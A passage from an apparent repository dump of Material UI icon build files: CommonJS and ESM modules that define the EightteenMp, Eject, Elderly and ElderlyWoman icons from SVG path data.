.41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zM12 10.5v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"2\")], 'EightteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zM12 10.5v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"2\")], 'EightteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm0-2.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3H3zm9 2.5h4.5v6H12v-6zm-5 0h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'EightteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm0-2.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3H3zm9 2.5h4.5v6H12v-6zm-5 0h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'EightteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zm-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4zm-5-1h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\"\n}, \"5\")], 'EightteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zm-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4zm-5-1h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\"\n}, \"5\")], 'EightteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Eject.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34z\"\n}), 'Eject');"
  },
  {
    "path": "packages/mui-icons-material/lib/Eject.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34z\"\n}), 'Eject');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34zm0 3.6 2.93 4.4H9.07z\"\n}), 'EjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34zm0 3.6 2.93 4.4H9.07z\"\n}), 'EjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m5.17-10.75-4.8 7.2c-.45.66.03 1.55.83 1.55h9.6c.8 0 1.28-.89.83-1.55l-4.8-7.2c-.39-.6-1.27-.6-1.66 0\"\n}), 'EjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m5.17-10.75-4.8 7.2c-.45.66.03 1.55.83 1.55h9.6c.8 0 1.28-.89.83-1.55l-4.8-7.2c-.39-.6-1.27-.6-1.66 0\"\n}), 'EjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34z\"\n}), 'EjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34z\"\n}), 'EjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8.6 9.07 13h5.86z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34zm0 3.6 2.93 4.4H9.07z\"\n}, \"1\")], 'EjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EjectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8.6 9.07 13h5.86z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h14v2H5zm7-12L5.33 15h13.34zm0 3.6 2.93 4.4H9.07z\"\n}, \"1\")], 'EjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Elderly.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'Elderly');"
  },
  {
    "path": "packages/mui-icons-material/lib/Elderly.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'Elderly');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.03 7.5c-1.57.01-2.94-.9-3.6-2.21l-.79-1.67c-.17-.35-.44-.65-.8-.85-.62-.36-1.35-.34-1.94-.03v-.01l-4.39 2.5C6.39 9.08 6 9.74 6 10.46V13c0 .55.45 1 1 1s1-.45 1-1v-2.54l1.5-.85C9.18 10.71 9 11.85 9 13v5.33L7 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2l2.04-2.72c.23-.31.37-.69.4-1.08l.18-2.94L13 18v4c0 .55.45 1 1 1s1-.45 1-1v-4.87c0-.41-.13-.81-.36-1.15l-1.6-2.29v-.01c-.11-1.16.07-2.32.46-3.4.81 1.23 2.05 2.14 3.51 2.52v.2c0 .28.22.5.5.5s.49-.22.49-.5v-.5c0-.28.22-.5.5-.5s.5.22.5.5v10c0 .28.22.5.5.5s.5-.22.5-.5v-10c0-.82-.66-1.51-1.47-1.5\"\n}), 'ElderlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.03 7.5c-1.57.01-2.94-.9-3.6-2.21l-.79-1.67c-.17-.35-.44-.65-.8-.85-.62-.36-1.35-.34-1.94-.03v-.01l-4.39 2.5C6.39 9.08 6 9.74 6 10.46V13c0 .55.45 1 1 1s1-.45 1-1v-2.54l1.5-.85C9.18 10.71 9 11.85 9 13v5.33L7 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2l2.04-2.72c.23-.31.37-.69.4-1.08l.18-2.94L13 18v4c0 .55.45 1 1 1s1-.45 1-1v-4.87c0-.41-.13-.81-.36-1.15l-1.6-2.29v-.01c-.11-1.16.07-2.32.46-3.4.81 1.23 2.05 2.14 3.51 2.52v.2c0 .28.22.5.5.5s.49-.22.49-.5v-.5c0-.28.22-.5.5-.5s.5.22.5.5v10c0 .28.22.5.5.5s.5-.22.5-.5v-10c0-.82-.66-1.51-1.47-1.5\"\n}), 'ElderlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6.5 7V23h-1V12.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v1h-1v-.69c-1.46-.38-2.7-1.29-3.51-2.52-.31.87-.49 1.78-.49 2.71 0 .23.02.46.03.69L15 16.5V23h-2v-5l-1.78-2.54L11 19l-3 4-1.6-1.2L9 18.33V13c0-1.15.18-2.29.5-3.39l-1.5.85V14H6V9.3l5.4-3.07v.01c.59-.31 1.32-.33 1.94.03.36.21.63.51.8.85l.79 1.67C15.58 10.1 16.94 11 18.5 11c.83 0 1.5.67 1.5 1.5\"\n}), 'ElderlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWoman.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWoman');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWoman.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWoman');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanOutlined.js",
